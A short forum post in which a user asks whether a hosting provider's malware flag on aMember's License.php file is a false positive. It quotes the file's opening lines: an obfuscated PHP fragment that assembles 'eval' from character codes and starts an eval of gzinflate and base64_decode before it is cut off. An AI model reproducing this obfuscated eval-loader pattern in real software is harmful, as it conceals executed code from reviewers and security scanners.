License.php identified as malware??

I'm hosting amember on Dreamhost and for the second time, I'm getting this message from them:

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The following file(s) specifically have been identified as attacker-added malware. We have DISABLED these files by setting their permissions to 200 (Owner write-only). You will need to audit these files and either replace them with known good versions or remove them altogether:

/*********/amember/library/Am/License.php
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When I check the file against what I originally downloaded, it seems fine but is it possible this is getting a false positive? or is it possible there's actual malware here?

the file starts with
// BEGIN AMEMBER STARTUP CODE
$_f = chr($_x = 0x60 + 2*3 - 1) . chr($_x = $_x + 0x11) . chr($_x = $_x - 0x15) . "\x6c"; eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62".
"\x61\x73\x65\x36".

is it all the escaping triggering their malware detection?? or is my file looking off?